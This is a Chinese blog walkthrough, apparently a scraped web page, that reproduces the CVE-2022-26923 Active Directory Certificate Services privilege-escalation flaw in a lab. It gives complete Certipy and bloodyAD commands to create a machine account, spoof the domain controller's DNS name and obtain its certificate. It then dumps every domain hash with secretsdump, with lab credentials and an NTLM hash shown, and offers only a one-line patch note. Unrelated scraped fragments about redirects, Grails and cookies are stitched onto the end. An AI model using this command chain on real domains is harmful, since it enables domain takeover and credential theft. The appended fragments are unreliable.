- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户的数据信息进行管理。 AD CS (Active Directory Certipy Server)是允许你构建公钥基础机构 (PKI) 并为你的组织提供公钥加密、数字证书和数字签名功能的服务器角色.
Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022
kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144
windows server 2012网络配置,这里想改计算机全名但是忘记了,如果要好记得名字,可以安装域前先改掉 。
这里用到了windows server 2012的环境,首先搭建windows server 2012的AD域服务和域服务证书,这里安装步骤除了勾选的地方其他默认下一步 。
点击提升域控制,添加新林,然后下一步还原密码后安装重启 。
ADCS证书安装,添加功能,勾选AD证书服务,添加web证书颁发,开始安装 。
配置证书服务,在角色服务勾选证书机构和证书web注册,其他可以一直下一步,这里为了其他配置不一样的读者,就都放出来了,都一样的可以选择跳过 。
配置成功结果图 。
创建低权限AD用户,点击AD用户和计算机,点击本地域 ,查找User,双击进入,找到Administrator用户 ,点击左侧新建,新建用户 。
新建用户test,填写全名,输入密码,勾选其他密码选项,选择密码永不过期和不能更改密码 。
配置window7网络配置以及加入域,这里加入域xming.com,用户是在域控新建的test,密码是自己在域设置的密码(注:我这里只用到kali 和window server 2012就没多加win7,方便演示,想用win7的老铁可以参考以下win7配置) 。
kali配置 在kali需要两个工具 Certipy 和bloody 。
certipy配置
https://github.com/ly4k/Certipy //工具所在网址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //配置代理安装(这里我用的是proxychains4的,也可以用proxychains,如果有的话)
这里我是直接去github下载再复制到kali,就跳过第二条命令
由于我这里因为pip没装,所以我又装了pip
pip安装的步骤参考此链接:https://www.cnblogs.com/BlogVice-2203/p/17011741.html
这里我遇到的报错是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0 。
然后再次安装有出现报错,说没有dsinternals,又得pip install dsinternals 。
如果没有遇到以下报错,就直接执行成功 。
配置bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txt
这里报错了,需要下载一个libkrb5-dev包 apt-get install libkrb5-dev 。
总结一下上面bloodyAD安装
先执行apt-get install libkrb5-dev
再执行proxychains4 pip3 install -r requirements.txt看看是否有报错
如果有就使用pip install 需要的安装包(如果有需要必要的版本可以 pip install 安装包==需要的版本号) 如上图所示
最后再执行proxychains4 pip3 install -r requirements.txt会发现没有报错就是执行成功。
执行python3 bloodyAD.py -h,发现安装成功,到此环境就搭建完成了 。
执行以下代码之前需要运行
pip3 install certipy-ad
这是我的申请CA证书的poc
certipy req -username test@xming.com -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User
然后再执行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144
创建及其账户到域 。
使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144 getObjectAttributes "DC=xming,DC=com" ms-DS-MachineAccountQuota
这里一开始是报错 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 为 from Cryptodome.Hash import MD4
没报错且运行出来的老铁可以不改
使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
在LDAP中创建一个机器帐户,然后查看Active Directory 用户和计算机 点击computers 查看到test66是我们创建出来的机器账户 。
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
创建一个test66密码为jntm的机器账户
我们更新一下机器帐户的DNSHostName,但是这里出现了一个错误,我排除了一下是我们没有给DNS读取和写入的权限,勾选上两个权限,排除后重新执行就成功了 。
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName
我们这里就使用伪造的计算机账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有 。
根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户 。
这里使用的是计算机账户模板(Machine),不再是User
certipy req -username test66\$@xming.com -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug
生成一个win-ue0s6a9db79.pfx
这里调了一个bug 我把kali的网关改为了192.168.33.144否则总是报错
certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144
这里如果报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新启动一下你的AD CS而不是重启虚拟机(可以重启但可能登陆不进去)
获取所有域中的所有hash 。
impacket-secretsdump 'xming.com/win-ue0s6a9db79$@xming.com' -hashes :3fa24d31749f89de0db2449ab8014c79
PTH获取域控 。
![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png)
总结:该漏洞是由于安装了域证书服务(AD CS),攻击者可以使用计算机账户模板(Machine)创建机器账户,更新dnsname为域控的dnsname,获取所有域hash,进一步拿到域控管理员权限 修复建议:安装微软给出的补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923 其中说到域证书服务和域服务可以不用安装到一台服务器,以规避风险 。
最后此篇关于CVE-2022-26923Windows域提权漏洞的文章就讲到这里了,如果你想了解更多关于CVE-2022-26923Windows域提权漏洞的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
这是我的本地域名 http://10.10.1.101/uxsurvey/profile/dashboard 在 Controller 中,我为用户列表设置了一个操作 redirect(control
要处理 Canonical URL,最佳做法是执行 301 重定向还是更好地为 www 和非 www 域使用相同的 IP 地址? 例如: 想要的规范 URL/域是 http://example.com
1 内网基础 内网/局域网(Local Area Network,LAN),是指在某一区域内有多台计算机互联而成的计算机组,组网范围通常在数千米以内。在局域网中,可以实现文件管理、应用软件共享、打印机
1 内网基础 内网/局域网(Local Area Network,LAN),是指在某一区域内有多台计算机互联而成的计算机组,组网范围通常在数千米以内。在局域网中,可以实现文件管理、应用软件共享、打印机
我想创建一个 weblogic 集群,其中有两个托管服务器,每个服务器在物理上独立的远程计算机上运行 根据weblogic文档 All Managed Servers in a cluster mus
我正在运行 grails 3.1.4,但在创建允许我将多个域对象绑定(bind)到其他几个域对象的模式时遇到了问题。作为我正在尝试做的一个例子: 我有三个类(class)。书籍、作者和阅读列表。 作者
我试图使用@count函数来根据它获取数据,但是在没有崩溃报告的情况下它以某种方式崩溃了。 这是代码 class PSMedia: Object { @objc dynamic var id
有谁知道是否有办法只输入字母字符而不输入数字?我想过这样的事情 CREATE DOMAIN countryDomain AS VARCHAR(100) CHECK( VALUE ??? );
我的代码: const checkoutUrl = 'https://example.com/checkout/*' window.onload = startup() function st
一些不是我编写的应用程序,也不是用 PHP 编写的,它为域 www.example.com 创建了一个 cookie。 我正在尝试替换该 cookie。所以在 PHP 中我做到了: setcookie
什么是 oauth 域?是否有任何免费的 oauth 服务?我可以将它用于 StackApps registration 吗? ?我在谷歌上搜索了很多,但找不到答案。 最佳答案 这是redirect_
自从 In October 2009, the Internet Corporation for Assigned Names and Numbers (ICANN) approved the cre
我使用 apache 作为我的应用程序 Web 服务器的代理,并希望即时更改与 sessionid cookie 关联的域名。 该cookie有一个与之关联的.company.com域,我想使用apa
我只想托管一个子域到cloudflare。我不想将主域名的域名服务器更改为他们的域名服务器。真的有可能吗? 最佳答案 是的,这是可能的,但是需要通过CloudFlare合作伙伴进行设置,或者您需要采用
When using socket in the UNIX domain, it is advisable to use path name for the directory directory m
想象两个共享一个域类的 Grails 应用程序。也许是 Book 域类。 一个应用程序被标识为数据的所有者,一个应用程序必须访问域数据。类似于亚马逊和亚马逊网络服务。 我想拥有的应用程序将使用普通的域
我有一个包含字段“URL”的表单。第一部分需要用户在文本框中填写。第二部分是预定义的,显示在文本框的右侧。 例如,用户在文本框中输入“test”。第二部分预定义为“.example.com”。因此,总
如果我要关闭并取消分配 azure 中的域 Controller ,从而生成新的 vm Generationid,我需要采取哪些步骤来恢复它? 最佳答案 what steps do I need to
我想尝试使用 Azure 作为托管提供商(我有一个域)。我读过那篇文章https://learn.microsoft.com/en-us/azure/app-service-web/web-sites
所以.... 我想知道是否有人可以在这方面协助我? 基本上,我已经创建了一个自托管的Docker容器,用作构建代理(Azure DevOps) 现在,我已经开始测试代理,并且由于我们的放置文件夹位于W
我是一名优秀的程序员,十分优秀!